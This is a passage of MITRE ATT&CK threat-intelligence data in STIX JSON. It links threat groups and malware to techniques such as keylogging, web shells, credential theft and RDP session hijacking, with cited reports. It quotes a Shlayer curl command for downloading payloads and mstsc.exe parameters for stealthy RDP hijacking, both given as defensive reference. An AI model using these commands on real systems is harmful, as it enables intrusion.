2024)","relationship_type":"uses","source_ref":"campaign--af0ec65a-caa9-40ef-b1c7-21b71fbf3a10","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ea02c5b-f60b-4774-a237-fcc3f498a4f5","type":"relationship","created":"2019-04-17T13:30:22.934Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT33 Guardrail","url":"https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html","description":"Ackerman, G., et al. (2018, December 21). OVERRULED: Containing a Potentially Destructive Adversary. Retrieved January 17, 2019."},{"source_name":"Microsoft Holmium June 2020","url":"https://www.microsoft.com/security/blog/2020/06/18/inside-microsoft-threat-protection-mapping-attack-chains-from-cloud-to-endpoint/","description":"Microsoft Threat Protection Intelligence Team. (2020, June 18). Inside Microsoft Threat Protection: Mapping attack chains from cloud to endpoint. Retrieved June 22, 2020."}],"modified":"2020-06-22T20:15:37.597Z","description":"(Citation: FireEye APT33 Guardrail)(Citation: Microsoft Holmium June 2020)","relationship_type":"uses","source_ref":"intrusion-set--fbd29c89-18ba-4c2d-b792-51c0adee049f","target_ref":"malware--e85cae1a-bce3-4ac4-b36b-b00acac0567b","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ea21ff2-85d8-4c2f-a6b9-10a6e32814e5","type":"relationship","created":"2021-09-22T21:17:32.024Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye Shining A Light on DARKSIDE May 2021","url":"https://www.fireeye.com/blog/threat-research/2021/05/shining-a-light-on-darkside-ransomware-operations.html","description":"FireEye. (2021, May 11). Shining a Light on DARKSIDE Ransomware Operations. Retrieved September 22, 2021."},{"source_name":"FireEye SMOKEDHAM June 2021","url":"https://www.fireeye.com/blog/threat-research/2021/06/darkside-affiliate-supply-chain-software-compromise.html","description":"FireEye. (2021, June 16). Smoking Out a DARKSIDE Affiliate’s Supply Chain Software Compromise. Retrieved September 22, 2021."}],"modified":"2021-09-22T21:17:32.024Z","description":"[SMOKEDHAM](https://attack.mitre.org/software/S0649) can continuously capture keystrokes.(Citation: FireEye Shining A Light on DARKSIDE May 2021)(Citation: FireEye SMOKEDHAM June 2021)","relationship_type":"uses","source_ref":"malware--7e0f8b0f-716e-494d-827e-310bd6ed709e","target_ref":"attack-pattern--09a60ea3-a8d1-4ae5-976e-5783248b72a4","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ea74151-62ea-462e-988e-7704db70ec87","created":"2019-08-29T18:52:20.987Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Carbon Black Shlayer Feb 2019","description":"Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019.","url":"https://blogs.vmware.com/security/2020/02/vmware-carbon-black-tau-threat-analysis-shlayer-macos.html"},{"source_name":"objectivesee osx.shlayer apple approved 2020","description":"Patrick Wardle. (2020, August 30). Apple Approved Malware malicious code ...now notarized!? #2020. Retrieved September 13, 2021.","url":"https://objective-see.com/blog/blog_0x4E.html"},{"source_name":"sentinelone shlayer to zshlayer","description":"Phil Stokes. (2020, September 8). Coming Out of Your Shell: From Shlayer to ZShlayer. Retrieved September 13, 2021.","url":"https://www.sentinelone.com/blog/coming-out-of-your-shell-from-shlayer-to-zshlayer/"},{"source_name":"20 macOS Common Tools and Techniques","description":"Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021.","url":"https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-19T16:35:18.497Z","description":"[OSX/Shlayer](https://attack.mitre.org/software/S0402) can use bash scripts to check the macOS version, download payloads, and extract bytes from files. [OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the command sh -c tail -c +1381... to extract bytes at an offset from a specified file. [OSX/Shlayer](https://attack.mitre.org/software/S0402) uses the curl -fsL \"$url\" >$tmp_path command to download malicious payloads into a temporary directory.(Citation: Carbon Black Shlayer Feb 2019)(Citation: sentinelone shlayer to zshlayer)(Citation: 20 macOS Common Tools and Techniques)(Citation: objectivesee osx.shlayer apple approved 2020)","relationship_type":"uses","source_ref":"malware--f1314e75-ada8-49f4-b281-b1fb8b48f2a7","target_ref":"attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ea91f17-6015-4339-9b86-2bf51977a7aa","created":"2022-02-01T15:08:45.242Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"AADInternals Documentation","description":"Dr. Nestori Syynimaa. (2018, October 25). AADInternals. Retrieved February 18, 2022.","url":"https://o365blog.com/aadinternals"},{"source_name":"Azure AD Federation Vulnerability","description":"Dr. Nestori Syynimaa.. (2017, November 16). Security vulnerability in Azure AD & Office 365 identity federation. Retrieved February 1, 2022.","url":"https://o365blog.com/post/federation-vulnerability/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-28T13:05:26.349Z","description":"[AADInternals](https://attack.mitre.org/software/S0677) can create a backdoor by converting a domain to a federated domain which will be able to authenticate any user across the tenant. [AADInternals](https://attack.mitre.org/software/S0677) can also modify DesktopSSO information.(Citation: AADInternals Documentation)(Citation: Azure AD Federation Vulnerability)","relationship_type":"uses","source_ref":"tool--2c5281dd-b5fd-4531-8aea-c1bf8a0f8756","target_ref":"attack-pattern--24769ab5-14bd-4f4e-a752-cfb185da53ee","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6eac5e98-29dd-4dae-8375-b459b87f28c8","type":"relationship","created":"2021-03-30T20:16:51.220Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Malwarebytes Higaisa 2020","url":"https://blog.malwarebytes.com/threat-analysis/2020/06/higaisa/","description":"Malwarebytes Threat Intelligence Team. (2020, June 4). New LNK attack tied to Higaisa APT discovered. Retrieved March 2, 2021."},{"source_name":"PTSecurity Higaisa 2020","url":"https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/covid-19-and-new-year-greetings-the-higaisa-group/","description":"PT ESC Threat Intelligence. (2020, June 4). COVID-19 and New Year greetings: an investigation into the tools and methods used by the Higaisa group. Retrieved March 2, 2021."}],"modified":"2021-03-30T20:16:51.220Z","description":"(Citation: Malwarebytes Higaisa 2020)(Citation: PTSecurity Higaisa 2020)","relationship_type":"uses","source_ref":"intrusion-set--54dfec3e-6464-4f74-9d69-b7c817b7e5a3","target_ref":"tool--0a68f1f1-da74-4d28-8d9a-696c082706cc","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6eaf57d7-1e0c-437a-b5e6-4b4dc6f00ae1","created":"2023-09-15T15:29:57.910Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"BitDefender BADHATCH Mar 2021","description":"Vrabie, V., et al. (2021, March 10). FIN8 Returns with Improved BADHATCH Toolkit. Retrieved September 8, 2021.","url":"https://www.bitdefender.com/files/News/CaseStudies/study/394/Bitdefender-PR-Whitepaper-BADHATCH-creat5237-en-EN.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-09-19T13:35:02.563Z","description":"[BADHATCH](https://attack.mitre.org/software/S1081) can check for open ports on a computer by establishing a TCP connection.(Citation: BitDefender BADHATCH Mar 2021)","relationship_type":"uses","source_ref":"malware--3553b49d-d4ae-4fb6-ab17-0adbc520c888","target_ref":"attack-pattern--e3a12395-188d-4051-9a16-ea8e14d07b88","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6eb2e346-3ac0-42a8-ad9a-d6e336eaf86a","type":"relationship","created":"2021-11-29T20:22:53.385Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Trend Micro Iron Tiger April 2021","url":"https://www.trendmicro.com/en_us/research/21/d/iron-tiger-apt-updates-toolkit-with-evolved-sysupdate-malware-va.html","description":"Lunghi, D. and Lu, K. (2021, April 9). Iron Tiger APT Updates Toolkit With Evolved SysUpdate Malware. Retrieved November 12, 2021."}],"modified":"2021-11-29T20:22:53.385Z","description":"[Pandora](https://attack.mitre.org/software/S0664) can communicate over HTTP.(Citation: Trend Micro Iron Tiger April 2021)","relationship_type":"uses","source_ref":"malware--a545456a-f9a7-47ad-9ea6-8b017def38d1","target_ref":"attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6eb55cc5-1c90-44ce-ab80-0c938521f1cf","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye APT37 Feb 2018","description":"FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.","url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf"}],"modified":"2018-10-17T00:14:20.652Z","description":"can collect the victim user name.(Citation: FireEye APT37 Feb 2018)","relationship_type":"uses","source_ref":"malware--211cfe9f-2676-4e1c-a5f5-2c8091da2a68","target_ref":"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6eb8329a-b0ca-4751-a014-473af182b177","created":"2024-04-12T10:40:57.156Z","revoked":false,"external_references":[{"source_name":"NKAbuse SL","description":"KASPERSKY GERT. (2023, December 14). Unveiling NKAbuse: a new multiplatform threat abusing the NKN protocol. Retrieved February 8, 2024.","url":"https://securelist.com/unveiling-nkabuse/111512/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-12T10:40:57.156Z","description":"[NKAbuse](https://attack.mitre.org/software/S1107) conducts multiple system checks and includes these in subsequent \"heartbeat\" messages to the malware's command and control server.(Citation: NKAbuse SL)","relationship_type":"uses","source_ref":"malware--bd2ebee8-7c38-408a-871d-221012104222","target_ref":"attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6eb962fa-ca3e-4af2-9243-132c666a5c25","created":"2022-04-14T14:35:43.564Z","x_mitre_version":"0.1","external_references":[{"source_name":"Kaspersky Tomiris Sep 2021","url":"https://securelist.com/darkhalo-after-solarwinds-the-tomiris-connection/104311/","description":"Kwiatkoswki, I. and Delcher, P. (2021, September 29). DarkHalo After SolarWinds: the Tomiris connection. Retrieved December 27, 2021."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Tomiris](https://attack.mitre.org/software/S0671) has the ability to collect recent files matching a hardcoded list of extensions prior to exfiltration.(Citation: Kaspersky Tomiris Sep 2021)","modified":"2022-04-16T18:54:00.325Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","relationship_type":"uses","source_ref":"malware--327b3a25-9e60-4431-b3b6-93b9c64eacbc","target_ref":"attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6eb97f82-c49f-465d-b788-15a789f928b5","created":"2023-04-04T22:02:38.620Z","revoked":false,"external_references":[{"source_name":"SentinelLabs Metador Technical Appendix Sept 2022","description":"SentinelLabs. (2022, September 22). Metador Technical Appendix. Retrieved April 4, 2023.","url":"https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-04-04T22:02:38.620Z","description":"[Mafalda](https://attack.mitre.org/software/S1060) can conduct mouse event logging.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)","relationship_type":"uses","source_ref":"malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68","target_ref":"attack-pattern--bb5a00de-e086-4859-a231-fa793f6797e2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6eba9c1c-e0ee-4efe-9e8a-f1abb7c1e01a","created":"2024-03-25T21:27:41.430Z","revoked":false,"external_references":[{"source_name":"CISA Scattered Spider Advisory November 2023","description":"CISA. (2023, November 16). Cybersecurity Advisory: Scattered Spider (AA23-320A). Retrieved March 18, 2024.","url":"https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-320a"},{"source_name":"MSTIC Octo Tempest Operations October 2023","description":"Microsoft. (2023, October 25). Octo Tempest crosses boundaries to facilitate extortion, encryption, and destruction. Retrieved March 18, 2024.","url":"https://www.microsoft.com/en-us/security/blog/2023/10/25/octo-tempest-crosses-boundaries-to-facilitate-extortion-encryption-and-destruction/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-03-25T21:27:41.430Z","description":"[Scattered Spider](https://attack.mitre.org/groups/G1015) has gathered credentials using [Mimikatz](https://attack.mitre.org/software/S0002).(Citation: CISA Scattered Spider Advisory November 2023)(Citation: MSTIC Octo Tempest Operations October 2023)","relationship_type":"uses","source_ref":"intrusion-set--44d37b89-a739-4810-9111-0d2617a8939b","target_ref":"tool--afc079f3-c0ea-4096-b75d-3f05338b7f60","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6ebb24bf-8e82-4824-8959-b6f4348d2efd","created":"2022-08-03T14:57:19.361Z","x_mitre_version":"0.1","external_references":[{"source_name":"Malwarebytes Saint Bot April 2021","url":"https://blog.malwarebytes.com/threat-intelligence/2021/04/a-deep-dive-into-saint-bot-downloader/","description":"Hasherezade. (2021, April 6). A deep dive into Saint Bot, a new downloader. Retrieved June 9, 2022."}],"x_mitre_deprecated":false,"revoked":false,"description":"[Saint Bot](https://attack.mitre.org/software/S1018) has been packed using a dark market crypter.(Citation: Malwarebytes Saint Bot April 2021)","modified":"2022-08-03T14:57:19.361Z","relationship_type":"uses","source_ref":"malware--7724581b-06ff-4d2b-b77c-80dc8d53070b","target_ref":"attack-pattern--deb98323-e13f-4b0c-8d94-175379069062","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ebe95eb-909e-460e-b2ff-db0838e2f1e8","created":"2023-10-03T18:36:47.819Z","revoked":false,"external_references":[{"source_name":"Telefonica Snip3 December 2021","description":"Jornet, A. (2021, December 23). Snip3, an investigation into malware. Retrieved September 19, 2023.","url":"https://telefonicatech.com/blog/snip3-investigacion-malware"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-10-03T18:36:47.819Z","description":"[Snip3](https://attack.mitre.org/software/S1086) has been executed through luring victims into clicking malicious links.(Citation: Telefonica Snip3 December 2021)","relationship_type":"uses","source_ref":"malware--4327aff5-f194-440c-b499-4d9730cc1eab","target_ref":"attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ec66973-8ba0-4ec4-a4ca-c49a304f56b7","type":"relationship","created":"2021-05-21T19:53:14.088Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Kaspersky CactusPete Aug 2020","url":"https://securelist.com/cactuspete-apt-groups-updated-bisonal-backdoor/97962/","description":"Zykov, K. (2020, August 13). CactusPete APT group’s updated Bisonal backdoor. Retrieved May 5, 2021."},{"source_name":"Talos Bisonal Mar 2020","url":"https://blog.talosintelligence.com/2020/03/bisonal-10-years-of-play.html","description":"Mercer, W., et al. (2020, March 5). Bisonal: 10 years of play. Retrieved January 26, 2022."}],"modified":"2022-01-26T21:51:21.848Z","description":"[Bisonal](https://attack.mitre.org/software/S0268) can retrieve a file listing from the system.(Citation: Kaspersky CactusPete Aug 2020)(Citation: Talos Bisonal Mar 2020) ","relationship_type":"uses","source_ref":"malware--65ffc206-d7c1-45b3-b543-f6b726e7840d","target_ref":"attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ec7a597-0364-4a05-8174-8f7f094bbeff","created":"2022-03-30T14:26:51.864Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-14T15:46:25.247Z","description":"Consider monitoring processes for tscon.exe usage. Using tscon.exe to hijack an RDP session requires SYSTEM level permissions. Therefore, we recommend also looking for Privilege Escalation techniques that may be used for this purpose in conjunction with RDP Session Hijacking.\n\nIn addition to tscon.exe, mstsc.exe can similarly be used to hijack existing RDP sessions. In this case, we recommend looking for the command-line parameters of /noconsentPrompt and /shadow:, which allow for stealthy hijacking of an RDP session with no prompt and without kicking off the existing session.","relationship_type":"detects","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--e0033c16-a07e-48aa-8204-7c3ca669998c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ec972d2-50fb-4391-84ec-284995b2c389","type":"relationship","created":"2022-03-30T14:26:51.835Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.835Z","description":"Monitor for changes made to processes that may inject malicious code into processes via the asynchronous procedure call (APC) queue in order to evade process-based defenses as well as possibly elevate privileges.","source_ref":"x-mitre-data-component--d5fca4e4-e47a-487b-873f-3d22f8865e96","target_ref":"attack-pattern--7c0f17c9-1af6-4628-9cbd-9e45482dd605","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"relationship","id":"relationship--6eca6ae2-3f86-4b45-86c4-0ac01dfd13dd","created":"2022-06-02T14:58:49.299Z","x_mitre_version":"0.1","external_references":[{"source_name":"SecureWorks August 2019","url":"https://www.secureworks.com/blog/lyceum-takes-center-stage-in-middle-east-campaign","description":"SecureWorks 2019, August 27 LYCEUM Takes Center Stage in Middle East Campaign Retrieved. 2019/11/19 "}],"x_mitre_deprecated":false,"revoked":false,"description":"[HEXANE](https://attack.mitre.org/groups/G1001) has used compromised accounts to send spearphishing emails.(Citation: SecureWorks August 2019)","modified":"2022-06-02T14:58:49.299Z","relationship_type":"uses","source_ref":"intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3","target_ref":"attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ecbd739-f0c0-4aff-858f-255e3afeee8f","created":"2022-08-18T18:59:58.892Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Talos MuddyWater Jan 2022","description":"Malhortra, A and Ventura, V. (2022, January 31). Iranian APT MuddyWater targets Turkish users via malicious PDFs, executables. Retrieved June 22, 2022.","url":"https://blog.talosintelligence.com/2022/01/iranian-apt-muddywater-targets-turkey.html"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-14T15:19:22.936Z","description":"[MuddyWater](https://attack.mitre.org/groups/G0069) has stored a decoy PDF file within a victim's `%temp%` folder.(Citation: Talos MuddyWater Jan 2022)","relationship_type":"uses","source_ref":"intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2","target_ref":"attack-pattern--1c34f7aa-9341-4a48-bfab-af22e51aca6c","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ecd51f2-d57d-4daa-a98f-764b9b3ddac1","created":"2023-02-08T19:29:19.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MDSec Brute Ratel August 2022","description":"Chell, D. PART 3: How I Met Your Beacon – Brute Ratel. Retrieved February 6, 2023.","url":"https://www.mdsec.co.uk/2022/08/part-3-how-i-met-your-beacon-brute-ratel/"},{"source_name":"Dark Vortex Brute Ratel C4","description":"Dark Vortex. (n.d.). A Customized Command and Control Center for Red Team and Adversary Simulation. Retrieved February 7, 2023.","url":"https://bruteratel.com/"},{"source_name":"Palo Alto Brute Ratel July 2022","description":"Harbison, M. and Renals, P. (2022, July 5). When Pentest Tools Go Brutal: Red-Teaming Tool Being Abused by Malicious Actors. Retrieved February 1, 2023.","url":"https://unit42.paloaltonetworks.com/brute-ratel-c4-tool/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-02-20T19:06:51.912Z","description":"[Brute Ratel C4](https://attack.mitre.org/software/S1063) has the ability to use SMB to pivot in compromised networks.(Citation: Palo Alto Brute Ratel July 2022)(Citation: MDSec Brute Ratel August 2022)(Citation: Dark Vortex Brute Ratel C4)","relationship_type":"uses","source_ref":"tool--75d8b521-6b6a-42ff-8af3-d97e20ce12a5","target_ref":"attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ecd9294-8818-4de9-a871-38d514380bd8","created":"2024-05-23T22:41:47.900Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cadet Blizzard emerges as novel threat actor","description":"Microsoft Threat Intelligence. (2023, June 14). Cadet Blizzard emerges as a novel and distinct Russian threat actor. Retrieved July 10, 2023.","url":"https://www.microsoft.com/en-us/security/blog/2023/06/14/cadet-blizzard-emerges-as-a-novel-and-distinct-russian-threat-actor/"},{"source_name":"CISA GRU29155 2024","description":"US Cybersecurity & Infrastructure Security Agency et al. (2024, September 5). Russian Military Cyber Actors Target U.S. and Global Critical Infrastructure. Retrieved September 6, 2024.","url":"https://www.cisa.gov/sites/default/files/2024-09/aa24-249a-russian-military-cyber-actors-target-us-and-global-critical-infrastructure.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-09-06T22:08:14.664Z","description":"[Ember Bear](https://attack.mitre.org/groups/G1003) deploys web shells following initial access for either follow-on command execution or protocol tunneling. Example web shells used by [Ember Bear](https://attack.mitre.org/groups/G1003) include P0wnyshell, reGeorg, [P.A.S. Webshell](https://attack.mitre.org/software/S0598), and custom variants of publicly-available web shell examples.(Citation: Cadet Blizzard emerges as novel threat actor)(Citation: CISA GRU29155 2024)","relationship_type":"uses","source_ref":"intrusion-set--a7f57cc1-4540-4429-823f-f4e56b8473c9","target_ref":"attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ed1086d-3197-403e-86e4-16e4dee07faa","type":"relationship","created":"2018-10-17T00:14:20.652Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Lazarus RATANKBA","description":"Lei, C., et al. (2018, January 24). Lazarus Campaign Targeting Cryptocurrencies Reveals Remote Controller Tool, an Evolved RATANKBA, and More. Retrieved May 22, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/lazarus-campaign-targeting-cryptocurrencies-reveals-remote-controller-tool-evolved-ratankba/"},{"source_name":"RATANKBA","description":"Trend Micro. (2017, February 27). RATANKBA: Delving into Large-scale Watering Holes against Enterprises. Retrieved May 22, 2018.","url":"https://www.trendmicro.com/en_us/research/17/b/ratankba-watering-holes-against-enterprises.html"}],"modified":"2020-09-02T18:46:32.820Z","description":"[RATANKBA](https://attack.mitre.org/software/S0241) uses WMI to perform process monitoring.(Citation: Lazarus RATANKBA)(Citation: RATANKBA)","relationship_type":"uses","source_ref":"malware--9b325b06-35a1-457d-be46-a4ecc0b7ff0c","target_ref":"attack-pattern--01a5a209-b94c-450b-b7f9-946497d91055","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6ed5961a-224a-419b-b696-8962813158f2","type":"relationship","created":"2017-05-31T21:33:27.072Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"url":"https://www2.fireeye.com/rs/848-DID-242/images/rpt-fin6.pdf","description":"FireEye Threat Intelligence. (2016, April). Follow the Money: Dissecting the Operations of the Cyber Crime Group FIN6. Retrieved June 1, 2016.","source_name":"FireEye FIN6 April 2016"}],"modified":"2019-06-28T14:59:17.853Z","description":"(Citation: FireEye FIN6 April 